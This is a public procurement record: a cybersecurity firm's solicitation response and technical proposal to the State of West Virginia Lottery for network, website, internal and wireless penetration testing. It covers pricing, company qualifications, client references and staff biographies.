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Welcome, Alisha S Pettit			Procurement	Budgeting Accounts Receivabl	le Accou	ints Payable				
Solicitation Response(SR) Dept: 070	5 ID: ESR03282400000055	47 Ver.: 1 Function:	New Phase: Final	Modified by batch , 03/28/20	024					
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General Information Contact	Default Values Discount	Document Information	Clarification Request						LIST VIEW	
Procurement Folder:	1369290			SO Doc Code:	CRFQ					
Procurement Type:	Central Master Agreement			SO Dept:	0705					
Vendor ID:	VS0000021607	2		SO Doc ID:	LOT240000	0009				
Legal Name:	GLOBAL SOLUTIONS GROUP	INC		Published Date:	3/21/24					
Alias/DBA:				Close Date:	3/28/24					
Total Bid:	\$213,008.00			Close Time:	13:30					
Response Date:	03/28/2024			Status:	Closed					
Response Time:	12:29			Solicitation Description:	Network Pe Assessme	enetration Testing and nts	d Cybersecurity			
Responded By User ID:	Globalsolgroup	5					11.			
First Name	Liea			Total of Header Attachments:	1					
LastNamer	e la l			Total of All Attachments:	1					
Last Name:	Salvador									
Email:	info@globalsolgroup.com									
Phone:	248-291-5440									
										~



Department of Administration Purchasing Division 2019 Washington Street East Post Office Box 50130 Charleston, WV 25305-0130

State of West Virginia Solicitation Response

Proc Folder: 1369290				
Solicitation Description: Network Penetra		tion Testing and Cybersecurity Assessments		
Proc Type: Central Master Agreement				
Solicitation Closes		Solicitation Response	Version	
2024-03-28 13:30		SR 0705 ESR03282400000005547	1	

VENDOR						
VS0000021607 GLOBAL SOLUTIONS G	/S000021607 GLOBAL SOLUTIONS GROUP INC					
Solicitation Number:	CRFQ 0705 LOT2400000009					
Total Bid:	213008	Response Date:	2024-03-28	Response Time:	12:29:45	
Comments:	Upon review, if you have any questions, please contact: Lisa Salvador, Vice President lisas@globalsolgroup.com 248.291.5440					

FOR INFORMATION CONTACT THE BUYER Brandon L Barr 304-558-2652 brandon.I.barr@wv.gov		
Vendor Signature X	FEIN#	DATE

Line	Comm Ln Desc		Qty	Unit Issue	Unit Price	Ln Total Or Contract Amount
1	External Network Penetra	ation Testing				7224.00
Comm	Code	Manufacturer		Specifica	ation	Model #
811118	01					
Commo	dity Line Comments:					
Extende	ed Description:					
See Atta Exhibit -	ached Specifications and • A Pricing Page					
Line	Comm Ln Desc		Qty	Unit Issue	Unit Price	Ln Total Or Contract Amount
2	Website Penetration Tes	ting				27864.00
Comm	Code	Manufacturer		Specifica	ation	Model #
811118	01					
Commo	dity Line Comments:					
Extende	ed Description:					
See Atta Exhibit -	ached Specifications and A Pricing Page					
Line	Comm Ln Desc		Qty	Unit Issue	Unit Price	Ln Total Or Contract Amount
3	Internal/Client-Side Netw Testing	ork Penetration				146784.00
Comm	Code	Manufacturer		Specifica	ation	Model #
811118	01					
Commo	dity Line Comments:					
Extende	ed Description:					
See Atta Exhibit -	ached Specifications and A Pricing Page					
Line	Comm Ln Desc		Qty	Unit Issue	Unit Price	Ln Total Or Contract Amount
4	Wireless Penetration Tes	sting				31136.00
Comm	Code	Manufacturer		Specifica	ation	Model #
811118	01					
Commo	dity Line Comments:					

Extended Description:

See Attached Specifications and Exhibit - A Pricing Page



Technical and Price Proposal

Network Penetration Testing and Cybersecurity Assessments State of West Virginia Solicitation No.: CRFQ 0705 LOT240000009

Due Date: March 28, 2024, 1:30 PM EDT

Submitted to: Brandon L Barr Buyer



Department of Administration Purchasing Division 2019 Washington Street East Charleston, WV 25305-0130

<u>Submitted by:</u> Global Solutions Group, Inc.



25900 Greenfield Road, Suite 220 Oak Park, MI 48237 www.GlobalSolGroup.com



This proposal contains proprietary information that shall not be duplicated, used, or disclosed for any reason other than evaluation of the proposal. If release is required due to transparency requirements, all information regarding performance methodology, pricing methodology, other items that are considered trade secrets and any Personally Identifiable Information must be redacted.



Offeror

Global Solutions Group, Inc. 25900 Greenfield Road, Suite 220 Oak Park, MI 48237 www.GlobalSolGroup.com

UEI VH3UE9S2T6E5 CAGE 6M9L5 **DUNS** 078343325 EIN 20 0010736





US DoD Top-Secret Facility Clearance



CMMC C3PAO Candidate -ML3





Contracting Vehicles



GSA Multiple Awards Schedule Contracts Contract Number: GS-35F-171AA Categories: 511210, 54151, 54151HACS, 54151S Schedule Contract Number: GS-03F-132DA Categories: 493110RM, 518210DC, 518210ERM, 541611LIT, 541611O, 561439, 561990 Contract Number: GS-02F-025GA Categories: 561320SBSA



8(a) Streamlined Technology Acquisition Resource for Services

Persons authorized to negotiate with the Government and sign the proposal and subsequent award on Offeror's behalf:

Lisa Salvador, Vice President (248) 291-5440 lisas@globalsolgroup.com

Acknowledgement of Addenda, Questions and Answers, and other Modifications GSG acknowledges Addendum 1 received on March 21, 2024.

Submit to:

Brandon L Barr Buyer



Department of Administration **Purchasing Division** 2019 Washington Street East Charleston, WV 25305-0130 Email: brandon.l.barr@wc.gov Phone: (304) 558 3970



March 26, 2024

Brandon L Barr Buyer Department of Administration Purchasing Division 2019 Washington Street East Charleston, WV 25305-0130

Subject: Global Solutions Group's response to Solicitation No.: CRFQ 0705 LOT2400000009 for Network Penetration Testing and Cybersecurity Assessments

Mr. Barr:

Global Solutions Group, Inc. (GSG) hereby presents our proposal to provide Network Penetration Testing and Cybersecurity Assessments to the State of West Virginia (Lottery).

GSG is a multifaceted technology company incorporated in the State of Michigan in 2003. We are headquartered in Oak Park, Michigan. *We are an SBA 8(a) Certified Small Business, Certified Women Owned Small Business (WOSB), Certified Minority Business Enterprise (MBE), and Economically Disadvantaged Woman - Owned Small Business (EDWOSB).*



GSG is an ISO/IEC 27001:2013 Information Security Management Systems, ISO 9001:2015 Quality Management System, and ISO 20000:2018 - Service Management System Certified Firm. Our team is capable of consistently

delivering products and services that fulfill the needs of our customers as well as applicable legislative and regulatory requirements. Our cyber team has experience with industry standards and best practices including NIST CSF, FISMA, FedRAMP, PCI–DSS, OWASP, CIS–CSC for Effective Cyber Defense, and others. Our expertise extends to a wide array of IT and cybersecurity technologies such as HPE, Micro Focus, IBM, Splunk, Palo Alto, FireEye, Fortinet, and Cisco, as well as premier cloud technologies such as AWS and Azure.

GSG understands that the Lottery is looking for information technology cybersecurity evaluations, such as penetration tests of internal and external networks and websites, as well as assessments of online applications.

Our certified cybersecurity and IT specialists are here to provide a comprehensive approach to the Lottery's Network Penetration Testing and Cybersecurity Assessments requirements. Our team is experienced in identifying an organization's strengths and vulnerabilities, as well as in reviewing policy requirements to ensure compliance. Our mission is characterized by a desire to form and maintain good client relationships, provide exceptional work performance, and continuously enhance our professional credentials.

Envisioning success for this program requires the highest level of service, ensuring that we operate efficient, agile, high-quality testing and security assessment services that are cost-effective and in compliance with all current regulatory directives and industry standards.

GSG has completed over 1,000 Cybersecurity Projects over the last Ten Years Below is a small sampling of customers supported on Cybersecurity Projects:					
Jacksonville Aviation Authority	Network Penetration Testing				
City of New Orleans	Cybersecurity Services				
City of San Jose	Providing As-Needed Cyber Products and Services				
City of Sunnyvale	Providing IT Strategic Planning, Process Redesign, and Performance - Professional and Technical Support Services				
Fort Wayne–Allen County Airport Authority	Completed an IT Security Assessment				
San Diego County Regional Airport Authority	On-call IT Cyber Services				
Department of Interior	Awarded a \$25+ million BPA contract offering comprehensive cybersecurity services to DOI and other federal agencies				
Nevada Affordable Housing Assistance Corporation	Provided External Network, Web Application Vulnerability Scanning, and Penetration Testing				
Department of Agriculture (USDA) Office of the Chief Information Officer	Completed a \$10 million nationwide BPA for Cybersecurity Assessments, Penetration Testing, and Web Application Assessments				
U.S. AbilityOne Commission	Completed a multiyear contract to provide Federal Information Security Management Act of 2014 (FISMA) Cybersecurity Audit Analysis Services				

"The GSG Team invested a great deal in training and purchasing the newest and finest tools and licenses available to exceed regulatory requirements. These investments were over and above what was required to perform the work and resulted in a better product which was a benefit to the Government."

> — James Eddington, Contract Officer United States Department of Agriculture

Point of Contact Details

Name:Lisa SalvadorTitle:Vice PresidentEmail:lisas@globalsolgroup.comTelephone:(248) 291-5440 (office) || (313) 333-0188 (mobile)

As Vice President of Global Solutions Group, Inc., I am fully authorized to negotiate and bind GSG during the period in which the Lottery is evaluating proposals. You may contact me at any time.

Regards,

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Lisa Salvador Vice President



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1. Qualifications

1.1 Number of Years in Business [RFQ 3.1]

GSG has been in business for over twenty years.

1.1.1 GSG Overview and Corporate Qualifications [RFQ 3.1.1]

GSG is a privately held corporation founded in 2003 to provide IT support services to government agencies and private sector clients. We operate nationwide from our offices in Oak Park, Michigan.

Over the past twenty years our business has grown through development of our core competencies across multiple business sectors: Cybersecurity, IT Services, Document/Data Management and Physical Security. As our IT consulting business grew, we recognized

GSG has Provided Cybersecurity Assessments and Penetration Testing for Over:

- 3,500 Offices and Agencies Nationwide
- 300,000 End Points
- 120,000 Workstations
- 200,000 IPs

that several of our clients were not satisfied with their existing information security services, so we started placing IT security professionals with those clients. That experience has allowed us to expand our IT services to include cybersecurity consulting, including penetration testing, cybersecurity audits, and assessments as key facets of our business.

Our cybersecurity expertise has led to major multiyear contracts with the AbilityOne Commission, as well as a multiyear, multimillion-dollar contract to provide operational assessment and penetration testing to all offices and agencies under the purview of the USDA nationwide. GSG was awarded a major cybersecurity assessment contract with the U.S. Department of the Treasury, Office of the Inspector General. Our cybersecurity expertise has led to major multiyear contracts to provide Information System Security Line of Business (ISSLoB) support to the Department of the Interior (DoI) and DoI client agencies throughout the federal government.

We have experience and expertise with industry standards and best practices including the NIST Cybersecurity Framework, Federal Risk and Authorization Management Program (FedRAMP), Payment Card Industry Data Security Standard (PCI–DSS), Open Web Application Security Project (OWASP), Center for Internet Security Critical Security Controls (CSC) for Effective Cyber Defense, and various others. We are agile in adjusting our approach to meet the specific needs of each client — whether it is a commercial operation, state agency, or an entire Cabinet-level department with locations across the nation.



GSG is ISO/IEC 27001:2013 Certified for our Information Security and Cybersecurity practice for all our government agencies. This certification recognizes our organization-wide commitment to security. We have provided the intensive documentation, including a detailed risk assessment, records of internal training, audits,

managerial review, and documentation of the relevant controls and had our ISMS audited by an accredited body. We are also ISO 9001:2015 Certified and we have an ISO 20000-1:2018 Certified Service Management System.

GSG's cybersecurity team has successfully completed more than 1,000 projects within the time frame including penetration testing, cybersecurity assessments, audits, vulnerability assessment, web application security assessment, risk assessments, etc.



1.1.1.1 Our Strategic Partners

We have several strategic partnerships which provide our teams with additional resources, enabling us to provide additional value to our clients, including, but not limited to:

	MANDIANT	Partner Works
CISCO Partner Gold Partner		Trellix
Otenable Lase	rfiche web	azon Partner services Network

1.1.1.2 Sectors We Serve

Î	Government	5+3	Legal		Financial Services		Commercial
	Education	Q ₀	Manufacturing	•	Healthcare	0	Non-Profit

1.1.1.3 GSG Unique Qualifications to Fulfil Lottery Requirements

The following table outlines how GSG differentiates us from other consultants:

GSG Unique Experience	Relevancy to the Lottery
RELEVANT COR	RPORATE EXPERIENCE
 GSG has experience with: Long-term, complex security assessments. Fixing vulnerabilities to improve compliance with regulatory requirements or security standards such as PTES, NIST, HIPAA, PCI DSS, and ISO 27001/27002. Strong knowledge base of the industry due to work on multiple projects. Improved and more reliable measures of confidence in cybersecurity requirements. Oversight of contract performance and quality assurance using industry standard techniques. 	 With over ten years' experience in cybersecurity and over 1,000 completed projects including penetration testing, cybersecurity assessments, audits, vulnerability assessment, web application security assessment, risk assessments, and more. GSG can manage and meet the demands of the Lottery's required cybersecurity services. GSG will identify exposures in your application configurations and network infrastructure and using proven process, industry standards resolve those issues. GSG understands the importance of IP, sensitive and confidential data. Highlights real risks of an actual hacker successfully breaching your defenses.
HIGHLY Q	UALIFIED STAFF
 Our key personnel: Average fifteen years of experience in cybersecurity and IT security support. Our staff has extensive knowledge of all aspects of IT Consulting, IT Security 	 The same Key Staff proposed for the Lottery recently implemented continuous monitoring Configuration Baseline standards enterprise- wide for 2,000 endpoints and servers for the Department of Labor.

	GSG Unique Experience		Relevancy to the Lottery
*	Assessments, Penetration Testing, Vulnerability Assessment, etc., for and private organizations, includin requirements for IT environments Have worked together as a team o forty assignments. Have performed hundreds of web application assessments and netw penetration tests.	public ng s. n over	This showcases our ability to work large projects, under tight timelines and deliver a timely work product for our client.
	ABILITY TO PRO	VIDE TA	ARGETED, QUALITY SERVICES
•	With an approach tailored to meet Lottery's requirements, our team continuity utilizes industry best practices, bleeding-edge technolog first-rate research to understand, anticipate, and protect against eve most advanced intrusion attempts	t the sy, and she the states and the states and the states and states an	 GSG will deliver an IT ecosystem that is hardened against attacks, ensuring uninterrupted services and security of data that meets all cybersecurity standards.
1.2	Professional Services Currentl	y Offere	d [RFQ 3.1.1]
1.2.1	1 GSG's Core Competencies [RF	Q 3.1.1]	
	Cybersecurity IT S	Services	Document/Data Management
 I H H H S G G H S S<	 Incident Response Cloud Planning Licen Imple and F Supp Policy and Procedure Development Risk Assessment IT Su Help Security Audits Help Backing Backin	d Hosting sing, ementatio Renewal ort pport Desk up/Disas very base agement ePoint anaged ces bhony affing vork itecting a inistratio	 bigital Transformation cameras/CCTV Enterprise Document Management Solutions Laserfiche Enterprise Records Management Laserfiche CopenText Enterprise Records Management Enterprise Content Management Enterprise Content Management Enterprise Content Management Case Management Case Management Workflow Management Document Imaging System and Services and Document Digitization



_				
•	 Next-generation Firewalls 	Hardware Custom Relation Manage Systems	er nshij mer S	p ıt
	2.2 GSG's Cybersecurity-R Penetration Testing Physical and Electronics Security Policy and Procedure Development Privacy Support Planning Risk Assessment Risk Management Framework (RMF) Security Audits Security Audits Security Configuration and Testing Security Engineering 24/7/365 Security Operation Center (SOC) Assessment and Authorization (A&A)	 Manage Systems elated Services [RFQ 3.1.1] Identity and Access Management Incident Response (IR) and Management Support Intrusion Testing Operational Continuity Planning Other "Internet of Things" connected devices Payment Card Industry Assessment Cybersecurity Infrastructure Distributed Control Systems (DCS) Education and Training Embedded/IoT Services 	mer 5	Security Hardware and Software Security Information and Event Management (SIEM) Security Testing, ADAS, CVIP Social Engineering Training and Awareness Vulnerability Assessment Web and Mobile Application Testing Security Compliance and Risk Assessment PCI–DSS, NIST, FISMA, HIPAA, CJIS, ISO, GDPR Family Educational Rights and Privacy Act (FERPA) Authorization to Operate
-	Assessment, Integration, Automation Chief Information Security Officer as a Service/vCISO Incident Response Planning	 and Systems Hardening Firewall Implementation, Configuration, and Testing Industrial Control Systems (ICS), Supervisory Control and Data Acquisition (SCADA) Information Assurance 	•	(ATO)/Authorization to Connect (ATC) Interconnection Security Agreement (ISA) CMMI Support Assessment and Consulting

1.2.3 Number of Dedicated Security Staff Resources [RFQ 3.1.1]

GSG has 20+ security specialists on staff, and we are dedicating three (3) cybersecurity security staff members for this requirement. Our project team of Vicki Shah, Vatsal Shah and Kumar Setty average over fifteen years of technical experience in the cybersecurity assessment environment. They have worked on multiple engagements together and collectively have supported over 1,000 cyber projects for customers and have worked for GSG for over five years and are ready Day 1 to support the Lottery.

1.3 References [RFQ 3.2]

GSG has significant experience in providing cybersecurity services to a broad variety of private and public sector clients. GSG provides top-notch, proven components of success — experience and expertise for information security, use of the latest technologies and methods, ability to deliver service that exceeds expectations, and a proven commitment to serving information security needs of all kinds.

GSG is experienced in providing a wide range of IT services throughout the United States and worldwide to local, state, and federal agencies and corporations. We have earned a national reputation as a valuable partner that consistently exceeds customer expectations.



Our team has provided penetration testing, risk assessment, cybersecurity assessment, vulnerability assessment, threat management, security auditing, security operations, and other cybersecurity services to **over forty municipal, education, local, state, federal government agencies, and private sector businesses and organizations**, including:

MUNICIPAL	TRANSPORTATION/AVIATION
City of San Jose, California	Jacksonville Aviation Authority
City of New Orleans	• Suburban Mobility Authority for Regional
City of Sunnyvale	Transportation
Oakland County, Michigan	• Golden Gate Bridge and Highway District
Detroit Wayne Integrated Health Network	Capital Area Transportation Authority
Port Authority of Allegheny	San Diego County Regional Airport
Housing Authority of the Birmingham	Authority
District	Fort Wayne–Allen County Airport
	Authority
EDUCATIONAL	State
 University of Michigan 	 State of Kansas Board of Tax Appeals
 Oakland County Academy of Media and 	 State of Kansas Department of
Technology	Corrections
 Sigma Academy for Leadership/Early 	Michigan Economic Development Corp.
Middle College	 Kansas Department of Health and
Johnson County Community College	Environment
Prince George's Community College	 Commonwealth of Massachusetts
Maryland Education Enterprise Consortium	 State of New Mexico Human Services
Baltimore County Public Schools	Department
Montana State University	 Nevada Affordable Housing Assistance
• Maryland State Department of Education,	Corporation
Division of Rehabilitation Services	 Connect for Health Colorado
FEDERAL	UTILITY
 Department of Agriculture 	 Lansing Board of Water and Light
 Department of Treasury 	 Regional Water Resource Agency
 Department of Housing and Urban 	 Great Lakes Water Authority
Development	
 Social Security Administration 	
 Department of Justice 	
Department of Interior	
• Department of Energy	
Defense Logistics Agency	
Department of the Interior	
U.S. AbilityOne Commission	
Bureau of Safety and Environmental	
Enforcement	



The following are our three references for projects of similar size and scope of the assessment:

1.3.1 Lansing Board of Water and Light: Penetration Testing and Digital Forensics [RFQ 3.2.1]

Reference #1				
Project Name	Penetration Testing and Digital Forensics			
Completion Date	January 2020 – January 2023			
Project Owner	Lansing Board of Water and Light			
Project Contact	Vernon Myers, Security Lead and Engineer (517) 702-6569 <u>Vernon.Myers@lbwl.com</u>			
Project Est. Cost	\$23,740.50			
Project Responsibility	Est. Cost\$23,740.50Project onsibilityGSG is providing penetrating testing and digital forensic examination of the computing environment to:Assist in the identification of any indicators of compromise not otherwise detected by existing deployed cybersecurity tools.Perform remediation of all detected malware and inoculating the environment against reinfection where possible.Tasks for this project included:Testing for weaknesses in web and mobile application interfacesVulnerability testing for SCADA systemsTesting for misconfigurations of application servers, databases, and middleware impacting cybersecurityAssessing susceptibility to known and common exploits and social engineering attacksMalware identification and remediation			



1.3.2 U.S. Department of Agriculture: Operational Security Assessments, Penetration Testing and Web Security Assessments [RFQ 3.2.1]

Reference #2					
Project Name	Operational Security Assessments Penetration Testing and Web Security Assessments				
Completion Date	September 2017 – September 2021				
Project Owner	U.S. Department of Agriculture				
Project Contact	Stacey Marshall, Contracting Officer's Representative USDA Office of the Chief Information Officer (816) 823-2752 <u>stacey.marshall@usda.gov</u>				
Project Est. Cost	\$5,800,000.00 (Contract Completed -	Final va	alue)		
Project Responsibility	Over the past four (4) years, GSG has within the USDA on a multitude of cy	assisted bersecu	l offices and agencies rity related projects.		
	GSG supported twenty differen	t USDA	Offices and Agencies:		
	 Agricultural Marketing Service Animal and Plant Health Inspection Service Agricultural Research Service Economic Research Service Foreign Agricultural Service Food and Nutrition Service Farm Service Agency Food Safety and Inspection Service Grain Inspection, Packers, and Stockyards National Agricultural Statistics Service Rural Development 	 Agricultural Marketing Service Animal and Plant Health Inspection Service Agricultural Research Service Conservation Service Office of the Chief Economist Office of the Chief Financial Office of the Chief Financial			
	GSG conducted Operational Risk Assessments, Penetration Testing, We Security Assessments with High Value Applications (HVA), and Red Teat Assessments for all USDA offices and data centers nationwide and provide extended assessments for the for the Office of the Chief Financial Office and National Finance Center (USDA–NFC), which processes payroll for ove 600,000 federal government employees. Our team also performer FISMA/FedRAMP based Vulnerability Assessments and Penetration Testing. GSG's assessments supported agency-level cybersecurity leaders determining overall risk and provided recommendations for resolution of mitigation. In conducting the security assessments, GSG evaluated the following layers of security and their sub-layers:				
	Personnel Perimeter Security		Policy, Procedures, and Training		



 Perimeter Router Perimeter Firewall VPN Gateway Perimeter Intrusion Detection System (IDS) 	 User Awareness Training Privileged User Awareness Training Configuration and Change Management Network Operations Center (NOC) Standard Operating
 Infrastructure Switch Infrastructure Intrusion Detection System (IDS)/Intrusion Prevention System (IPS) Network Vulnerability Scanning Mail Guards Network Access Control Web Security 	 (NOC) Standard Operating Procedures (SOPs) Security Operations Center (SOC) Standard Operating Procedures (SOPs) Computer Incident Response Team (CIRT) Standard Operating Procedures (SOPs)
 Web Server Security Configuration Web Applications Security Configuration Identification and Authentication Roles and Permission Sets (inherited and non-inherited) Host Security (based on type of Q/S used) 	 Network Management Systems Data Loss Prevention Security Information and Event Management
• Host Vulnerability Scanning • Security Configuration	 Identification Investigation Remediation
 Data Encryption Patch Management File Integrity Antivirus Protection Host Intrusion Detection System (IDS)/Intrusion Prevention System (IPS) 	 Penetration Testing Open-Source Data Collection Host Discovery and Port Scanning Host Exploration Web Server and Application(s) Discovery and Exploration
Windows Host Security	Social Engineering
 Security Configuration 	Forensics
 Data Encryption Patch Management File Integrity Antivirus Protection Host Intrusion Detection System (IDS)/Intrusion Prevention System (IPS) 	• Extent of Compromise



1.3.3 Jacksonville Aviation Authority: Network Penetration Testing [RFQ 3.2.1]

Reference #3					
Project Name	Network Penetration Testing				
Completion Date	November 2020 – July 2025				
Project Owner	Jacksonville Aviation Authority (JAA)				
Project Contact	David Johnson, IT Infrastructure Manager (904) 741-3591 <u>david.johnson@flyjacksonville.com</u>				
Project Est. Cost	\$22,773				
Project Responsibility	This project consists of vulnerability assessment, external and internal penetration testing of JAA's network with the goal of obtaining access to protected data in four categories.				
	 Access Control Law Enforcement and Criminal Justice Information System (CJIS) Compliance, PCI Compliance, and General Security. 				
	Testing was conducted at the four airports under JAA's control:				
	 Jacksonville International Airport Jacksonville Executive at Craig Airport Herlong Recreational Airport Cecil Airport 				
	Testing consisted of twenty-five secure VLANs containing sensitive systems and data and ninety-five general purpose/non-security sensitive VLANS. All testing was informed by the Federal Aviation Administration (FAA) Cybersecurity Strategy and Transportation Security Administration (TSA) security requirements as well as PCI DSS and CJIS Security Policies.				

1.3.4 Accolades from GSG's Clients

GSG has received the following unsolicited accolades from past and current clients:

Customer	Summary	Customer Quote	
Douglas Nash, Assistant CIO, APHIS Marketing	• Great Job	Thanks for your help with the penetration testing and follow-up analysis. Your team did a great job working with our two agencies	
Programs Business Services		our two ageneics.	
Joseph Binns, Director, Information Security Office USDA Food, Nutrition, and Consumer Services	 Minimal Guidance Outstanding Output Less oversight Cost Savings 	GSG was a highly independent team, who required very minimal guidance from USDA and provided outstanding output. These facts allowed for less oversight, which allowed Government assets to be utilized elsewhere which is a cost savings and a benefit to the Government. All in all, great job.	
Victor J Cernius, Director of Operations Regional Water Resource Agency	 Great job Delivered difficult job 	Great job on the presentation today and a wonderful job from start to finish on this. The whole effort took longer than anticipated, but we certainly appreciate all of your time and effort to deliver the package that you did. We understand this was not an easy task.	
Bilal Razzaq, Chief ISO Office of Information and Technology, AmeriCorps	• Great job	On behalf of the AmeriCorps Cybersecurity Program, I want to acknowledge the contributions of the DOI ISSLoB team on the great work done regarding pushing forward the AmeriCorps Cybersecurity program.	
Randy Diehl, MIS Director, MD State Dept of Education, Division of Rehabilitation Services	Amazing job	I really enjoyed working with you. What you were able to put together for us in such a short period of time was amazing.	
Kimberly Carson Lead Contract Specialist GSA Region 4	ReceptiveAdaptable	Global Solutions Group is customer focused and engaged in the activities of the Agency. They were very receptive and adaptable to organizational changes. Global Solutions Group has maintained open communications with the Contracting Team.	
Joelene (Jody) Allen, Executive Director Kansas Board of Tax Appeals	 Immediate results Won more work because of excellent performance Reasonable cost 	Global Solutions Group, Inc. (GSG) rescued our state agency when our system was attacked by a Trickbot trojan. Once our agency contacted GSG; they were on on-sight quickly and started the process of removing the trojan. While working on the source hit by the trojan, Global diligently ran scans on all servers and PCs to assure the trojan had not attacked any other part of our system. GSG's expertise, professionalism, and diligence kept our entire system in tack.' 'Since then, our agency has had four additional contracts with GSG, including one that updated our entire server system. With GSG's expertise, the agency was able to go down to three servers verses the eleven servers that were currently being used.' 'GSG will always be our 'go-to;' as they provided excellent service at a very reasonable cost.	
Kasey Koch, Contracting Officer USDA Office of Information Security	Quality Control Exceptional	Quality Control was exceptional. Reports were carefully reviewed in full and were flawless in presentation and content.	



1.4 **Project Team Qualifications [RFQ 3.3]**

GSG maintains a pool of extraordinary cybersecurity professionals. The quality of our team is peerless, having executed various programs of similar scope and complexity. **Each of our proposed personnel has over ten years of experience in providing cybersecurity and related services.** In addition to having degrees in relevant fields, they also carry one or more of the following certifications or their equivalent:

CAP	Certified Authorization Professional	PFI	PCI Forensic Investigators
CCIP	Certified Core Impact Professional	ISSAP	Information Systems Security Arch.
CCSK	Certificate of Cloud Security Knowledge		Professional
CGEIT	Certified in Governance of Enterprise IT	GIAC	Global Information Assurance Certifications
CHSE	Certified HIPAA Security Expert		including (but not limited to):
CISA	Certified Information Systems Auditor		GSEC GIAC Security Essentials
CISM	Certified Information Security Manager		GCIH GIAC Certified Incident Handler
CEH	Certified Ethical Hacker		GPEN GIAC Penetration Tester
CISSP	Certified Information Systems Security		GCIA GIAC Certified Intrusion Analyst
	Professional		GWAPT GIAC Web Application Penetration
CRISC	Certified in Risk and Information Systems		Tester
	Control		GCFE GIAC Certified Forensic Examiner
CSX	Cybersecurity Nexus		GCFA GIAC Certified Forensic Analyst
CSX-P	CSX Cybersecurity Practitioner	SANS :	508 Advanced Forensics
	Certification	SANS	572 Advanced Network Forensics
PCIP	Payment Card Industry Professional		



1.4.1 Project Team Summary [RFQ 3.3]

	Name	Position	Yrs. Exp	Partial Certification Summary
	Vicki Shah, PMP	Project Manager	15+	РМР
Key Project	Vatsal Shah	Cybersecurity Technical Lead/Assessor/Penetration Tester	20+	PCIP, CCSK, CISA, CEH, TL, CISSP, CISSP-ISSAP, GWAPT, OP
Team	Kumar Setty	Cybersecurity Assessor	15+	CISSP, CISA, CCSK, ITIL, PCIP, AWS, HCISSP

Our team will be overseen by our Project Manager, Ms. Vicki Shah, who has over fifteen years managing complex IT and cybersecurity projects for both the public and private sector. Ms. Shah will be the point of contact while the assessment is ongoing. The Project Manager manages and supervises personnel involved in all aspects of the project activity, including organizing and assigning responsibilities to subordinates and overseeing the successful completion of all assigned tasks. Ms. Shah will generate and update technical and financial reports. She will also perform the day-to-day management of overall contract support operations. She has managed contracts wherein GSG's staff have performed over 300 penetration tests, vulnerability assessments, and web application assessments.



Your GSG Team:

- Averages over fifteen years of experience completing similar work for Government customers
 - Have extensive experience with cybersecurity assessment
 - Have advanced degrees and multiple certifications
- Have worked together on multiple cybersecurity contracts

1.4.2 Project Team Experience by Key Member [RFQ 3.3]

Experience	Skill/Knowledge Area	Vicki Shah	Vatsal Shah	Kumar Setty
	Penetration Testing			
	Assessments			
	Vulnerability Assessments			
Cybersecurity Project	Web Application Security Assessments			
Experience	Cybersecurity Audits			
	Risk Assessments			
	Incident Response			
	SCADA/ICS			
	HPE			
IT	Micro Focus			
and	Splunk			
Cybersecurity Technology	IBM			
Project Experience	Palo Alto			
Lapertenee	Fortinet			-
	Azure			
	NIST Cybersecurity Framework			
	Federal Risk and Authorization Management Program (FedRAMP) ramework and Controls Controls			
Framework and Controls				
Experience	Open Web Application Security Project			
	Center for Internet Security Critical Security Controls for Effective Cyber Defense			



1.4.3 Team Experience Relevant to the Lottery's Cybersecurity Requirements [RFQ 3.3.1]

Name	Position	Yrs. Exp	Certification Summary
Vicki Shah, PMP	Project Manager	15+	РМР

• Over fifteen years on Global Solutions Group's Contract and Project Manager for large IT programs, including those for City, State, Local, and Federal government agencies.

• PMP Certified.

- For the U.S. Department of Interior (DoI) Ms. Shah is the Program Manager overseeing multiple call orders and performing the following activities: Identification of Call Order Team Members, and creating a Project Management Schedule (PMS) for individual call orders, developing, executing, and managing the Work Breakdown Structure (WBS), Integrated Master Plan (IMP), Integrated Master Schedule (IMS), Risk Management Plan, Quality Management Plan, and Communications Management Plan for the overall program; creating weekly activity and monthly status report to document project accomplishments, risks, expenses, burn rate, hours worked, and progress; coordinating and planning meetings; and communicating with key stakeholders.
- For the U.S. Department of Treasury, Ms. Shah oversees and manages the team of individuals working on all project-related activities, including the updating of technical and financial reports. Additionally, Ms. Shah oversees the daily operations of the entire contract support team.
- Served as Contract and Project Manager for our contract providing Federal Information Security Management Act of 2014 (FISMA) Analysis Services for the U.S. AbilityOne Commission.
- Managed a multiyear, \$10 million U.S. Department of Agriculture Operational Security Assessment Program BPA contract.
- PMI, procurement/contract management, process improvement, and stakeholder management and collaboration.
- Coordinates and oversees our multiple engagements for the State of Kansas, including our contract for providing CISO support personnel.

Vatsal Shah	Cybersecurity Technical Lead/Assessor/Penetration Tester	20+	PCIP, CCSK, CISA, CEH, TL, CISSP, CISSP-ISSAP, GWAPT, OP
• Spe ext net Net app	ecialty skills involve vulnerability assess ernal assessment, auditing, incident resp work architecture, 802.11x (Wi-Fi), web a tworks (PCNS), Programmable Logic Contr plication security, and regulatory compliance	sment, p onse ma pplication collers (P ce.	enetration testing, internal and nagement, with focus on secure n portals, SCADA, Process Control PLCs), physical security, database,
• Tec infi Sup Sys	chnical skills in network technologies, rastructure security controls. He has tested pervisory Control and Data Acquisition (S tems (DCS) for the Lansing Board of Water	operat Industri SCADA) s and Ligh	ing system platforms, and IT al Control Systems (ICS) including systems, and Distributed Control ht.



- Performed over 100 web application assessments and Red Team network penetration tests for government, private sector, and non-profit organizations. He has also designed and analyzed secure network architecture including Virtual Private Networks (VPNs), cryptographic systems, firewalls and access control mechanisms, identity management, 802.11x enterprise wireless, and multiple-tier web application and e-commerce architectures.
- Performed penetration testing on all new enterprise applications being deployed into the environment and existing applications that have gone through a significant upgrade for Lansing Board of Water and Light.

Kumar Setty	Cybersecurity Assessor	15+	CISSP, CISA, CCSK, ITIL, PCIP, AWS, HCISSP
 Over fifteen including ut 	n years of experience niversity, healthcare, fi	in prov nance, a	riding penetration testing in multiple sectors and technology sectors.
MS Softwar	e Engineering. Certifica	tions: C	SISSP, CISA, CCSK, ITIL v3, PCIP, AWS, HCISPP.
Developing	and implementing secu	urity, pr	ivacy, and breach management programs with

- Developing and implementing security, privacy, and breach management programs with expertise in vulnerability assessment and penetration testing. In-depth knowledge of security assessments of databases, EHR/EMR, SAP, Oracle Financials, and other ERPs.
- Eight years of experience in performing security and privacy risk assessments and audits. Well-versed in HITRUST SOC 1/2/3, FFIEC, NIST, COBIT, HIPAA, PCI-DSS, SEI-CMM methodology, IT QA methods, and ISO security standards with vast understanding of threat modeling using frameworks such as Octave Allegro and MITRE ATT&CK.



